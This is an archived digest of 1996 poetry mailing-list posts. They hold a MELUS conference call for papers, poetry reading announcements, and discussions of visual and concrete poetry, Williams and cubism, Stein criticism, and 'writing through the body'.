There's lots of work done on this kind of writing, including several books on Williams. A book that's part anthology and part critical study is Jacqueline Vaught Brogan, *Part of the Climate: American Cubist Poetry* (U of California P, 1991). Of course, that's limited to American poetry, as the title says. There's also Wendy Steiner's *The Colors of Rhetoric*; I forget the publication information, but I remember it as strong if overly jargon-ridden. The first other anthologies to look at are Rothenberg's, from *Technicians of the Sacred* to the present *Poems for the Millenium* (with Pierre Joris), which in my view provides the broadest anthology context ever put together for the intersection of poetry and other art, including painting.

Cheers,
David
~~~
~~~

[redacted] University Writing Program
[redacted] Durham, NC 27708
FAX [redacted]

There is some excitement in one corner,
but most of the ghosts are merely shaking their heads.

-- Thomas Kinsella

↑ Index

51. Cynthia Franklin
MELUS call for Papers
Thu 2 May 1996

---

* *

C A L L F O R P A P E R S

First International and Eleventh National MELUS Conference

Multi-Ethnic Literatures Across the Americas and the Pacific: Exchanges, Contestations, and Alliances

The University of Hawai'i at Manoa ¥ April 18-20, 1997 Hosted by the College of Languages, Linguistics, and Literature; the Center for Pacific Island Studies; the East-West Center; and the Department of Ethnic Studies

The Society for the Study of the Multi-Ethnic Literature of the United States (MELUS) will hold its first international conference at the University of Hawai'i in 1997, in acknowledgement of both Hawaii's central location between East and West and the increasingly complex relationship between the Pacific and the Americas. We invite proposals for papers, panels, etc. (less than 500 words). In addition to papers on the multi-ethnic literatures of North America, we welcome comparative perspectives that address the growing cultural or textual connections between America and the Pacific, as well as comparative perspectives on postcolonial and American ethnic literatures.

possible topics:

new frontiers? american ethnic literatures * immigrant literatures * border identities * critical regionalism * new directions in feminism ¥ what about europe? * multiculturalism

emerging literatures & languages pacific island literatures * literatures of hawai'i * creole languages cultures * protest & resistance literatures * why standard english? * theorizing asian/pacific literature * cultural nationalism * the languages of dance * non-u.s. ethnic literatures

narrating north america & the pacific oral literatures & popular traditions * film & theater * representations of indigenous culture * colonialism, neo-colonialism, post-colonialism * transnationalism & cultural production * representations of hong kong 1997 * tourism & homo ludens * sovereignty & first nation movements * the black atlantic and the asian pacific

reconfiguring american literary & cultural studies african american literature * asian american literature * chicano/a literature * euro-american literature * native american literature * the critique of nation & nationalism * cnn, www, & capitalist world culture * cultural transmigrations & transformations

The conference will advertise internationally. Special sessions scheduled for K-12 teachers. Reduced registration rates for high school teachers, students, and international scholars. Presenters should be members of MELUS.

For conference information, contact 1997 MELUS Conference Chair, University of Hawai'i, Manoa Department of English, Honolulu HI 96822; fax [redacted]; e-mail: [redacted]

For MELUS membership information, contact Dr. Arlene Elder, English Dept., University of Cincinnatti, Cincinnatti, OH 4522[redacted].

DEADLINE FOR PROPOSALS: October 15, 1996

↑ Index

52. Emily Lloyd
Re: Cope's Stein/Rod? Gwyn?
Thu 2 May 1996

At 12:18 PM 5/2/96 -0400, Maria Damon wrote:
>emily:
>karin cope has a book forthcoming from minnesota (i believe) on stein and
>difference/queerness. it is so anti-identitarian that it doesn't address
>stein as a lesbian or a "husband," but simply as someone transgressive in
>every way, "queering" every angle.

Great! that's *exactly* the kind of thing I'm looking for. Thanks.

Rod, think you might get Cope's book in at Bridge St.? If so, I'd love to reserve one...otherwise, anyone got the number for U of MN press?

Gwyn, I accidentally deleted the mailing address for your chapbook..will you be at the Yak reading on Friday? or can I buy one from you in person some other soon time? I certainly still want one--& hadn't realized we were so geographically close when I asked for the address (sudden fits of stupidity abound)...e

~~~
~~~

↑ Index

56. Aldon L. Nielsen
Re: POMO
Thu 2 May 1996

as one who loves nothing more than to stir up finally stilled waters, I remind all readers of the following lines from Kerouac's possibly postmodern novel _Desolation Angels_:

it's Gia Vlaencia, the daughter of the mad Spanish anthropologist sage who'd lived with the Pomo and Pit River Indians of California, famous old man, whom I'd read and revered only three years ago while working the railroad outa San Louis Obispo-- (pg. 138)

Possible first instance of direct influence of Pomo culture on postmodern culture?

↑ Index

57. Aldon L. Nielsen
Re: City Papers
Thu 2 May 1996

Ages ago as I was leaving D.C., _City Paper_ was just beginning to give some modicum of attention to area poetry, largely through the efforts of Rick Peabody -- Would I gather from recent remarks here that said paper dropped said ball?

↑ Index

58. Gwyn McVay
Re: City Papers
Thu 2 May 1996

Aldon, the _City Paper_ dutifully lists Lib of Cong readings, slams, and the gigs of the ubiquitous DJ Renegade in its calendars of events, but I haven't seen a feature or sidebar or blurb about poetry in the 2 years I've been in DC. Said ball done been dropped, I think.

Gwyn

↑ Index

59. Carl Lynden Peters
Re: writing through Creeley's body
Thu 2 May 1996

speaking of music and body, there's this piece of music by creeley

One and two and
one, two, three

what an extraordinary piece of minimalism and music --

↑ Index

60. Tony Green
Reading at Alba
Thu 2 May 1996

There will be a poetry reading at Alba Restaurant, 2,Lorne st, Auckland, Tuesday May 7, 1996, 8p.m.

Readers:Wystan Curnow,Murray Edmond,Tony Green,
Roger Horrocks,Michele Leggott,Alan Loney,Di Nash,
Mark Wills, Elizabeth Wilson.

All welcome.

Tony Green,
e-mail: [redacted]

↑ Index

61. Rod Smith
May Bridge Street Readings
Thu 2 May 1996

Two Readin's Real Soon:

Wed. May 8th @ 8 PM
Charles (a.k.a. "Charles") Bernstein
& Pierre Joris

Sun. May 12th @ 8 PM
Buck Downs
& Chris Mann

Buck Downs is the very snappy transplanted Floridian editor of _Open 24 Hours_. Buck's Berriganesque yet Coolidgean w/ a camouflage hat that says BUCK on it & a voice to melt your heart. Chris Mann is an Australian composer of I don't know exactly what. He's worked w/ Cage & received grants & fellowships from oodles o' organizations.

Bridge Street Books, 2814 Pennsylvania Ave NW, Washington, DC phone 202 [redacted]
(Across from the Biograph in Georgetown.)
Readings are free, sort of.

↑ Index

62. Tony Green
Re: should be on back of xxxx can
Thu 2 May 1996

Re the NZ Herald Reuter report re-poet's. Dr Post's got a point. IF I were writing to describe my feelings of love or religion I'd get depressed too (resad More Depressed). I guess it's interesting that he's got hold of a model of poetics there that probably persists in the large scale public media, popular press, to work with.

Tony Green,
e-mail: [redacted]

↑ Index

63. Rod Smith
Ear on Saturday
Thu 2 May 1996

Sat. May 4th @ 2:30 (yes, PM)

Robert Mittenthal
& Rod Smith

Ear Inn, 326 Spring Street, NYC
ph [redacted]
Not free, sort of.

↑ Index

64. Tony Green
Re: Tasmania
Thu 2 May 1996

Interesting to see Eric Beach surface in a list of Austrlian poets. He got anthologized some years back as a young NZ poet.

Tony Green,
e-mail: [redacted]

↑ Index

65. Michael Coffey
blocking poems -Reply
Thu 2 May 1996

kevin o'hir wrote: visual design of words on a page". i would appreciate any directions to work done on this. i have a vague memory of a movie i saw in high school about WCW and his idea of page as canvas.

Kevin:

not sure if this is of help, but Dick Higgins, former fluxus activist, publisher (something else press), poet and scholar is THE authority on pattern poems, or concrete poetry; he did a study of George Herbert's pattern poems (he of "The Altar") and did a larger work on the history of pattern poems, which i believe was published by Southern Illinois University Press in paperback about six years ago.

michael coffey

[redacted]

↑ Index

66. Mark Roberts
Re: Tasmania
Thu 2 May 1996

> *I was in Tasmania last month and visited Port Arthur, a stunningly beautiful place with an awful history. I met many kind, generous, and rigorous folks, along with one rather nasty cab driver (though not as nasty as the NYC scam artists I once fell for).*
>
> *On a literary note, I highly recommend contemporary Australian poetry. I was on a panel at the Salamanca Writers Festival with John Kinsella, Philip Mead, Hazel Smith, and Joanne Burns, all of whom are excellent writers (and performers). In Sydney: Pam Brown, Denis Gallagher, John Tranter, Kate Lilley. There are lots and lots of others. The main problem is that hardly any Australian poetry is published in the USA. This is a real shame, especially since the people I met*
> *were all very knowledgeable about American poetry, and Frank O'Hara is something of a cult figure there.*
>
> *Susan Schultz*
>
> *Susan, did you stay at the writer's cottage up above the wharfs?*
>
> *I read at the Salamanca Festival (fringe) in 91 so it's great to hear it*

> *mentioned. I agree that the whole of Australian writing is ignored by the States' distributors; Carmel Bird's name appeared on the back pages of Best Short Stories of 91 but it's impossible to find her work in print over here (few years back I did find "Woodpecker Point" but nothing since). Check out Mark Robert's work on the Aus. Writers on Line (AWOL) webpage and electronic bookshop. http://www.ozemail.com.au/~awol/bookshop1.html . You'll find your mates there.*
>
> *This may be the only way.*
>
> *Best Regards,*
> *Laura Hope-Gill @Halcyon.com*

Laura

Thanks for the plug (AWOL). In fact if anyone is hunting down an Australian poet let AWOL know ([redacted]) even if they don't appear on the bookshop page we might be able to track them down.

regards

Mark (posting from work - but going home soon)
AWOL [redacted]
http://www.ozemail.com.au/~awol

_____
Mark Roberts
Student Systems Project Officer
Information Systems
University of Sydney NSW 2006 Australia
[redacted]
PH:(02)[redacted]
FAX:(02)[redacted]

↑ Index

67. Tom Beard
word leading the idea
Thu 2 May 1996

Joshua referred to Barthes' "One might call "poetic" (without value judgment) any discourse in which the word leads the idea."

I like this idea, but wonder whether it's the word _leading_ the idea, or the words conducting a discourse/dance that is separate from the idea. Could we say that the 'poetic' is the dance of the signifiers, while the 'narrative' is the dance of the signifieds? Though of course my use of the word 'separate' is too

reductive: there can (should?) be play or counterpoint (my metaphors now not so much mixed as pureed) between the word-dance & the idea-dance.

& we read the 'poetic' as well as the 'narrative' (form never _less_ than an extension of content?), though possibly in very different modes (musical/ analytical). & I wonder where the word might lead the idea, if we follow it right down the garden path ... no ideas but in words?

Yours &c,

Tom Beard.

↑ Index

68. Jennifer Ashton
Re: Cope's Stein/Rod? Gwyn?
Thu 2 May 1996

I tried to post an answer to your query about transgender criticism on Stein once before and for some reason my post never appeared. I hope this works. There are a couple of earlier accounts that you might consult, if nothing else just to see how much more thinking still needs to be done on this subject. A couple of not-so-recent essays by Catherine Stimpson are "Getrice/Altrude: Stein, Toklas, and the Paradox of the Happy Marriage" and another for which I am missing the title, but I know the phrase "Lesbian Lie" or "Lies" is in there somewhere. Also, you might look at "A Signature of Lesbian Autobiography" by Leigh Gilmore, also not-so-recent.

Jennifer Ashton
Johns Hopkins University
[redacted]

↑ Index

69. Scott J Pound
Re: writing threw the body
Thu 2 May 1996

I'm not sure I know what writing through the body is, yet, but i know Nicole Brossard does:

> Fictive theory: words were used only in the ultimate embrace. The first word lips and sticky saliva on her breasts. Theory begins there when the breast or the child moves away. Strategic wound or suspended meaning. (_These Our Mothers_)

> Ride astride grammar. I spread myself, eager, inconsequential and desire.

* * *

Words get confused
So hotly used
(_French Kiss_)

↑ Index

70. Eryque Gleason
Re: writing threw the body
Thu 2 May 1996

> *I'm not sure I know what writing through the body is, yet*

i have a feeling that if any of us knew, i mean really knew, this thread wouldn't take so many twists and turns.

but then it wouldn't be half as fun either!

eryque

↑ Index

71. Thomas Bell
Re: writing threw the body
Fri 3 May 1996

From babble and play to poetry: some philosophical reflections on writing through the vocal cords:

"From the standpoint of articulation, phonic freeplay strips the infant of the manifold benefits of political conversation. In being not yet human, the infant is nonhuman. For the play that (as yet) avoids the work of commanding the organs of speech is the action of a creature imprisoned by its vital functions. Infancy, for Hobbes, is retribution and imprisonment, a repetition of the fall at Babylon. In that condition, being and action, lacking rigor and retentiveness, are reduced to play... As play, babble is a pleasure onto itself. The infant babbles for no reason other than the fact that free sound production is pleasing...the organism as vocal instrument plays and is played upon pleasurably ...This is the instrument before tuning ... Sound is process rather than production. (pp. 76 - 77) "Figures and metaphors....serve to remove the ambiguous sting of the poem hat cuts through our ordinary preoccupations to the intense terror of the primordial question. not knowing who we are nor why we exist, we raise voice in the poem in the hope of eliciting a response....The poems voice, voice's voice, destroys the illusions by which shame and self-deception deaden thought, feeling, and sensate life.(pp. 112 - 113)" _Voice_, David Appelbaum, SUNY, 1990.

↑ Index

72. **mikl-em**
Re: blocking poems
Fri 3 May 1996

> *From: David Kellogg <[redacted]>*
>
> *There's lots of work done on this kind of writing, including several books on Williams. A book that's part anthology and part critical study is Jacqueline Vaught Brogan, *Part of the Climate: American Cubist Poetry* (U of California P, 1991). Of course, that's limited to American poetry, as the title says. There's also Wendy Steiner's *The Colors of Rhetoric*; I forget the publication information, but I remember it as strong if overly jargon-ridden. The first other anthologies to look at are Rothenberg's, from *Technicians of the Sacred* to the present *Poems for the Millenium* (with Pierre Joris), which in my view provides the broadest anthology context ever put together for the intersection of poetry and other art, including painting.*

there is also the Emmett Williams edited section "Language Happenings" from Ronald Gross & George Quasha's _Open Poetry_ (Simon & Schuster, 1973), which includes the Brazillian Concretists, Germans, Frenchmen, E. Williams own stuff and muchmuchmore. I'd also mention one more Rothenberg anthology specifically, _Revolution of the Word_ (Seabury Press, 1974).

David, who all is covered in the Brogan book? Rexroth in all his comments on Cubist Poetry pretty much said there was naught but his and Yvor Winters' early stuff, and both of those bodies were rather small. So are these more recent writers rediscovering cubism, or writers from the first part of the century who are coming to light or what?
mike @taylor.org

↑ Index

73. **Henry**
Re: writing threw the body
Fri 3 May 1996

On Thu, 2 May 1996 02:30:47 +0200 Jondi Keane said:
>POETICS IS NOT ABOUT POETRY, andit is this relation of body to its thoughts
>that needs a Poetics. Discourse follows by "Writing through the body"or not.
>Foregrounding (the body) does not have to be a prioritizing, it can, and in

This entire post was very interesting; body-centered anti-theory theory. The relation to performance (I'm thinking of Pindar & choruses & dramatic poetry) might prove useful sometime. I think the point I was trying to make is that poetry is a form of communication, i.e. a language; that keeping this in mind

might help interpreters & readers in navigating various claims of "writing through the body" - between what is simply playing out of metaphors & what is gesture & body-language etc. - and might forestall simplistic value-judgements about repression/expression etc. Whether coming from the groin or the groan or the grin I would want to withhold calling it "poetry" until I was able to grasp to some extent what is the poetic-communicative message/massage gestalt or whatever. Poetics IS about poetry, that by gum I'll stand-by. - HG

↑ Index

74. David Kellogg
Re: blocking poems
Fri 3 May 1996

> *David, who all is covered in the Brogan book? Rexroth in all his comments on Cubist Poetry pretty much said there was naught but his and Yvor Winters' early stuff, and both of those bodies were rather small. So are these more recent writers rediscovering cubism, or writers from the first part of the century who are coming to light or what?*

Brogan's book starts around 1910 and ends with the early 1940s. I'm not nearly expert enough to judge its accuracy. One of the interesting things about its arrangement is that it organizes poems according to their original place of publication (magazine), so that Williams, for example, appears in sections devoted to "Others," "Broom," "Secession," "The Exile," "Hound & Horn," "Blues," and "New Directions in Poetry and Prose 1936."

Brogan's definition of cubist poetry is pretty loose, so Stevens seems more prominent in this regard than he might be under a more narrow classificaiton. Other prominent figures in the book are Loy, Stein, cummings, Zukofsky (including "Poem beginning 'The'" (!!)), Winters, Rexroth. Some reviews and editorials from the period are also included.

Cheers,
David
~~~
~~~

75. Walter K. Lew
Ann Kong's Farm
Fri 3 May 1996

Still catching up on old threads. Yes, it's Ann Kong's pig farm not ant farm--her answering machine OGM even throws in an "Oink, Oink": sorry for the typo. A year or so ago, Steve Dickison of Small Press Distribution told me of his epiphanous feeling when he connected the poems and contributor's note he'd just read in the Premonitions galleys with the bleach bottle pigs surrounding him and the busy cook or manager who was ordering people around. When Chris Daniels suggested that the connection with poetry was perhaps "the sweet human ability to love such a thing as a bleach bottle pig --- but i am speaking entirely of myself" something connected for me. Recently I was obsessed with buying all different sorts of stuffed toy rabbits (as well as books, calendars about rabbits, etc.--but no chocolate bunnies) for a rabbit-adoring friend. It helped, of course, that it was right before Easter, when thousands of rabbits come out of their warehouse hutches to perch on retail shelves. This led me to think more generally of toys and dolls again. Maybe one connection is that poems are like "dolls" or miniature replicas of language (and therefore inherently "unheimlich"/uncanny?) and here of course one means much more than a "faithful" reproduction of it, but a prototype, put out in simulated conditons (its relation to "the world", breath, etc.)--I recall also the quotation that Pierre Joris uses in his posts to this list--poetry as the promise of a language, although I wonder if Pierre could spare the time to fill us in a little more on the type of promise being intimated here. I'm sure it's related to why I titled my anthology "Premonitions."

Finally, if Chris Daniels, Emily Lloyd, Maria D., Ron Silliman, and "mikl-em" don't mind, I would like to copy the Ann Kong/Pig Farm thread and send it as a greeting to Ann? Do any of you object? Back-channel me at [redacted].

Thanks,
Walter K. Lew
8 Old Colony Rd.
Old Saybrook, CT 06475
[redacted]

↑ Index

76. Walter K. Lew
Other Asian American Lesbian Poets
Fri 3 May 1996

Still trying to catch up before I head out of town...

re: Emily Lloyd's inquiry about >kitty tsui, who's not in *Premonitions* but is highly anthologized & regarded in the queergirl community.<

A good observation. One of the functions of _Premonitions_ was to question the repeated anthologization of certain Asian American poets, according to the criteria stated in its Afterword. You will note that the book does not include a good number of poets that have become the standard "Asian American" inclusions in mainstream and/or multiculturalist anthologies, ranging from the Norton's to jazz poetry collections, if they did not send work that was not already well-circulated or not significantly different from their previously celebrated writing. Another frequently included queer poet who does not appear in Premonitions is Nellie Wong, much of whose work I love. It was time to give anthology space to willyce kim (the first openly Asian American lesbian writer to publish whole volumes of poetry, she's also published two very episodic novels, and is stacks supervisor at the UC Berkeley library), Thelma Seto, Ann Kong, and work like the video "Red Lolita" (which its artist, Gloria Park says is not queer, but I feel nonetheless wonderfully evokes queer issues--do you agree?). It's good to hear that Kitty is highly regarded in queergirl circles; I hope this will be true of a wider range of poets in the near future and that it will encourage them to publish more. But then this is beginning to sound so patronizing I start to wonder why

Walter K. Lew
8 Old Colony Rd.
Old Saybrook, CT 06475
[redacted] (phone/fax)

↑ Index

77. Walter K. Lew
Queer Comparisons
Fri 3 May 1996

>walter, I was about an hour ahead of your pointing towards ann kong...just got my copy of *Premonitions*, and yes, I enjoyed her work very much. (tho curious: who do you have in mind when you say "better than most of the more well-known US poets of Lesbos? not at all disagreeing, just wondering who these are for you). seems as if asian voices have been particularly silenced/absent/whatever from lesbian poetry (good to see inverse not true here)<
Emily--Sorry for the late reply on this. At that instant I was thinking of a few active white poets born after 1950 or so who have received some prestigious mainstream prizes. Although the fact Kong's published so little

makes comparisons unfair, I just find the poignant/acerbic, nostalgic/mystical, dark/ardent fresh nostalgia of her poems more vivid and well sung. But, of course, there is as much diversity among "poets of Lesbos" as there is among any other grouping and once one considers more poets, it becomes less fruitful to say one is better than the other because what they are doing is so different, sometimes contrary.

And where does the queerness reside, emerge? For there is also the question of the difference between a queer poem and a poem seen queerly--how the latter becomes a "critically" queer poem (brought to a "crisis")? (And there are also, of course, queer poems seen straight.) I'm thinking on the analogy of how queer film criticism un-represses Hollywood texts and the Eliot-Pound analysis in Wayne Koestenbaum's _Double Talk, The Erotics of Male Literary Collaboration_ (Routledge 1989). There are also a range of texts in between, say, erotic queer poems and homophobic poems seen queerly: a work like Theresa Hak Kyung Cha's DICTEE, for instance--and here I'm just following up on a suggestion thrown at me one afternoon by the young filmmaker and critic Quentin Lee (USC Film School) one day as he ran down a hall to the next panel. DICTEE!, he said, if that's not a queer text, I don't know what is! Its epigraph is stated as being from Sappho and each of its nine chapters is devoted simultaneously to one of the muses and another more "historical" female figure of adoration (e.g. Joan of Arc, the Korean patriot martyr Yu Guan Soon); aside from passages of ecstatic appeals to or invocations of Christ, heterosexual relations are almost completely neglected or only ironically referred to (there is a criticism of conventional matrimony). On the other hand, sexual attraction or acts are never a narrative element in the book, the Sappho quotation is faked, and certainly none of the growing literature on DICTEE has thought to view it as a Lesbian or even erotic text. Maybe it's just a matter of time.

↑ Index

78. Maria Damon

Re: Ann Kong's Farm

Fri 3 May 1996

---

wally:
you say much.
re bunnies: 'member when priscilla's mod* (and yours?) bought you a pet rabbit for -was it your birthday? lo these many years ago? i sstill remember the look of bewilderment on your face as the rest of us evaporated into giggles. (and remember when you and i dressed her cello case up as a blues singer?
(*mod: hampshire college lingo for apartment).

sure, send greeetings to Kong and pigs.
re poems as miniature: a wonderful book is Longing, by Susan Stewart. I teach it with elizabeth bishop. its about tourism, miniatures, giganticism, souvenirs, etc. stewart is also a poet.
love, maria d

↑ Index

79. David Baratier
re; blocking poems
Fri 3 May 1996

I would suggest going to the source: Mallarme's A throw of the dice will never abolish chance. And then on to Selected Essays, Letters, and Prose which is on Johns Hopkins (1956?). Whatever is to remain sacred must be shrouded in mystery.

If the interest is in WCW specifically, try out _Cubism, Steglitz, and WCW_ (Dykstra was the author I believe). If your interest is in the formations of concrete poetry in the US, check out Kenneth Patchen's Journal of Albion Moonlight, Sleepers Awake, or the painting books especially the fairly recent color one _What shall we do without us?_ After these I would check out an anthology of concrete poetry that Richard Kostelanetz put together in 1972, there's a book on Illinois UP (or the Ann Arbor Writer's on Writing Series book) that will give you the name of which anthology deals with the subject As far as criticism the best book I've read on the subject was a recent one (1994) which traced the work of the painter, Francis Bacon, with semiotic and linguistic theory. The book is wild, giving an involved assessment of possible narratologies that are availiable to painters. Here I am again sans library. It should be easy to find, with the exception of David Sylvester's books there are only 2 or 3 others written that aren't purely art books. Be Well

David Baratier

↑ Index

80. Ward Tietz
Writing Threw the Brain
Fri 3 May 1996

The recent discussion on writing through the body reminded me of a long quote from Julian Jaynes' "The Origin of Consciousness in the Breakdown of the of the Bicameral Mind" I used in a piece I wrote about a year ago. I used it to emphasize how imagination and experience are often juxtaposed in descriptions of form, but I think it's also a good example, in the extreme, of the tendency to

invoke biological determinism once the body is established as a locus or origin of a given process or action, a condition which is probably a result, not a cause, of what Jondi Keane called "the legacy of sensations produced by reflective values."

"Poetry begins as the divine speech of the bicameral mind. Then as the bicameral mind breaks down, there remain prophets. Some become institutionalized as oracles making decisions for the future. While others become specialized into poets, relating from the gods statements about the past. Then, as the bicameral mind shrinks back from its impulsiveness, and as perhaps a certain reticence falls upon the right hemisphere, poets who are to obtain this same state must learn to do it. As this becomes more difficult, the state becomes a fury, and then ecstatic possessions, just as happened in the oracles. And then indeed toward the end of the first millennium B. C., just as the oracles began to become prosaic and their statements versified consciously, so poetry also. Its givenness by the unison Muses has vanished. And conscious men now wrote and crossed out and careted and rewrote their compositions in laborious mimesis of the older divine utterances" (Jaynes 374-375).

"Bicameral men did not imagine; they experienced. The beautiful Muses with their unison "lilly-like" voice, dancing out of the thick mists of evening, thumping on soft and vigorous feet about the lonely enraptured shepherd, these arrogances of delicacy were the hallucinatory sources of memory in the late bicameral men, men who did not live in a frame of past happenings, who did not have 'lifetimes' in our sense, and who could not reminisce because they were not fully conscious" (Jaynes 371).

Ward Tietz

↑ Index

81. henry gould
Re: Writing Threw the Brain
Fri 3 May 1996

On Fri, 3 May 1996 13:37:11 EDT Ward Tietz said:
>form, but I think it's also a good example, in the extreme, of the tendency to
>invoke biological determinism once the body is established as a locus or origin
>of a given process or action, a condition which is probably a result, not a
>cause, of what Jondi Keane called "the legacy of sensations produced by
>reflective values."

If the body writes, then if we define the body as some kind of separate locus-organism, we simply create an old Descartian grid with new vocabulary. What's the body? The body is part of a cosmos-body-thingum. But I will admit - breathing sometimes helps writing.

> *And then indeed toward the end of the first millennium B. C., just as the oracles began to become prosaic and their statements versified consciously, so poetry also. Its givenness by the unison Muses has vanished. And conscious men*
> *now wrote and crossed out and careted and rewrote their compositions in laborious mimesis of the older divine utterances" (Jaynes 374-375).*

Nagy's book Poetry as Performance is again relevant here, where he describes the Alexandrian codification & centralization of both the Homeric poems and the Septuagint (a movement begun supposedly in both cases by one person! Now what-th-body was his name...some Greek...) into texts - the "descent" from script to scripture... Invention of writing - techne - like the invention of a mammoth mirror - suddenly we're bicameral - me & that chump in the glass - but the way back isn't through breaking the mirror - text is tactile - blind Milton, seeing fingers, visual poetry - open the scrypt - HG

↑ Index

82. Ken Edwards

poetry/music gig

Fri 3 May 1996

Ken Edwards will be performing his poem-with-music "Bruised Rationals" with the COMA London & South East Ensemble (conductor: Simon Foxley) at a concert on Monday May 6 at 7.30 pm at The Friends' Centre, Ship Street, Brighton.

The complete bill is:

Plain Harmony Michael Finnissy (conducted by the composer)
Olson III Terry Riley
From Blake's Milton Paul Burnell*
The Desire & Pursuit of the Whole is Called Love Patrick Morris
Bruised Rationals Ken Edwards*
The Glistening Sand, Sky and Sea John Alexander (conducted by the composer)

Admission 3 pounds (concessions 1.50 pounds)

* World premieres

PS "Bruised Rationals" will also be performed by the COMA Ensemble as part of the Spitalfields Fesitval, at Spitalfields Church, London, on Tuesday June 11.

↑ Index

83. **landers**
As Williams is to painting/photography
Sat 4 May 1996

It seems to me that with all the parallels we drew between poets and music, noone compared WCW to a musical type. Perhaps he, and Creeley, are better compared to painters and photographers than to musicians. Not that this is the only way to see them, but maybe it's a more appropriate pair-'o-dig-'em.

↑ Index

84. **Mary Rising Higgins**
Re: Williams & Painting
Sat 4 May 1996

Many years ago I read an collection of essays called The Hieroglyphics of Speech which gives anecdotal bio data regarding Williams early efforts at painting followed by a preference for the rather lighter materials required for poetry construction...perhaps the book is still in print. mrh

↑ Index

85. **Brian McHale**
Re: re; blocking poems
Sat 4 May 1996

I suspect that the book on Francis Bacon, title of which Baratier was trying to come up with, was "Francis Bacon & the Loss of Self," by Ernst van Alphen, smart young Nederlandish literary scholar; UK edition, Reaktion Books, 1992, don't know about the US edition. Good as it is, I'm not sure it's all that relevant to the current thread: has more to do with narrative than with the visual in poetry. Brian

↑ Index

86. **Joe Amato**
Re: Writing Threw the Brain
Sat 4 May 1996

wrt this question of the body, and ward tietz's intriguing response to jondi keane's intriguing elaboration: i too have found mind vs. body controversies to be reflected in the mind/brain couple, esp. given that many cogsci researchers see the 90s as the "decade of the brain"... seems to me one might look at related articulations to ascertain what they yield in this context... chief among which, way back at the beginning of the 90s, are mark turner's _reading minds: the study of english in the age of cognitive science_ (princeton up, 1991) and

what i would pose almost as a retort to turner, francisco varela/evan thompson/eleanor rosch's _the embodied mind_ (mit p, 1991)... i far prefer the varela et. al. text to the turner treatment, albeit it too is not w/o its liabilities... note that three of turner's chapters are entitled "the poetry of connections" (!)... his is an attempt to reproduce the logic of cognitive science at the level of language practice, incl. metaphor (through "cognitive rhetoric")... extremely deterministic, yes, even an implied *genetic* gradient mebbe, yet a measure of the sorts of reductions one might expect when looking to science alone to furnish answers to questions that invoke socially-constitutive practices...

i might in this context also mention richard powers' superb novel _the gold bug variations_... i know of no book that goes as far in exploring language/dna intricacies...

anyway, it's likely that any simple theoretical or scientific access to the body will result in a reification... on the other hand, i can't quite imagine how we're to understand the body as a language-organism without recourse both to poetic and to (properly conceived) scientific/technological thinking (such as, for example, maturana and varela's "autopoiesis," which resonates well with olson's "proprioception")... that is, my own predilection is for a more complex understanding of language as it relates to the organism, and without (for example) eliminating that social gradient... but that's just me...

joe

↑ Index

87. Thomas Bell
Re: Writing Threw the Brain
Sun 5 May 1996

---

intriguing comment. for some time i've been mulling the endlessly repeated languageisallwecanknowdetermineseverything when it's in reality the body (impulses, synapses, nerves, rhythms) isallwecanknow<-->deter- mines everything?

On Sat, 4 May 1996, Joe Amato wrote:

> wrt this question of the body
i might in this context also mention richard powers' superb novel _the
gold bug variations_... i know of no book that goes as far in exploring
> language/dna intricacies...
>
> anyway, it's likely that any simple theoretical or scientific access to the
> body will result in a reification... on the other hand, i can't quite
> imagine how we're to understand the body as a language-organism without

> recourse both to poetic and to (properly conceived)
> scientific/technological thinking (such as, for example, maturana and
> varela's "autopoiesis," which resonates well with olson's
> "proprioception")... that is, my own predilection is for a more complex
> understanding of language as it relates to the organism, and without (for
> example) eliminating that social gradient... but that's just me...
>
> joe
>

↑ Index

88. Susan Schultz
Minnesota!
Sun 5 May 1996

I'm writing to say that my good friend, Marie Hara, will be reading at the Asian American Renaissance Center in St. Paul, Minnesota on Thursday, May 9, at 7:30. She is the author of _Bananaheart_, a book of short stories set in Hawai'i.

Susan Schultz

↑ Index

89. Susan Schultz
TINFISH!
Sun 5 May 1996

There will be a TINFISH reading on Tuesday, May 14, at 7:30 at the Meeting Place Cafe on Kamakee Street in Honolulu. Readers will include Joe Balaz, Richard Hamasaki, Rob Wilson and Sean MacBeth, Kathy Dee Kaleokealoha Kaloloahilani Banggo, Tony Quagliano, and the editor, Susan Schultz. Unfortunately, Eric Chock has other obligations. We are hoping to tape the reading for the Electronic Poetry Center, despite the presence (and noise) of a nearby construction site. Best wishes to list members who have contributed to the journal; there's still time to buy your airline tickets and read with us!

Susan Schultz

↑ Index

90. Jondi Keane
body peotics
Sun 5 May 1996

Henry Gould wrote <<Whether coming from the groin or the groan or the grin I would want to withhold calling it "poetry" until I was able to grasp to some extent what is the poetic-communicative message/massage gestalt or whatever. Poetics IS about poetry, that by gum I'll stand-by.>>

perhaps peotics has been taken up into poetry the way testicles are taken up into the martial artist. It is an activity which requires much learning and dicipline but ultimately is a defensive posture based on a peculiar idea of conservation, and from where not much productive can be done.

Thanks to Ward for the bicameral quote because we always need more ways to think about the configurations of experience and imagination with structure, but again I feel this book is a story, or description of how Discourse interprets and sets up a model for understanding, and then tells it to itself. Lyotard's "The Differend" is useful here in remembering that "A Wrong results from the fact that the rules of the genre of discourse by which one judges are not those of the judged genre or genres of discourse" and states the problem as "the absence of a universal genre of discourse to regulate..., to find, if not what can legimate judgement, the "good" linkage, then at least how to save the honor of thinking". He is using the legal language (the Wrong) which is a bit blown up but the point that the terms of regimes of thought developed in discours of language with mind brain or body are different and suffer from transportation/translation.

Texts which tell most in these matters I think are those which do not necessarily speak of this issue, but issue from the places we have been discussing. the extreme examples are perhaps best: Writing from the brain, from an organ which organizes, interprets, reticularly activtes, but also produes sounds, light and images inside itself,observed and then set down in writing, would be Pantanjali.

Writing from the body, even from impossible places that require bodily knowledge would be perhaps Franz Kamin's "Srcibble Death".

And Writing from a moment of crystalline indecision constructed from the infintie possibilities of both would be the romantic moment, perhaps most easily, Coleridge.

↑ Index

91. Loss Glazier
Cite Lines: Duncan/Olson
Sun 5 May 1996

Here are two questions:

--> Does anyone have a *clue* where this quote from Robert Duncan might have come from? It's a passage I'm very fond of. (My thought is it's from a periodical but I can't seem to find it in that _Sulfur_ 35 with the special Duncan stuff. So then I'm thinking - what other periodical might it be - if it is in a periodical??)

"When poets were really jugglers, they got everything in the air and bouncing around. In that period they wanted that out of poetry, they wanted an amazing assortment of things."

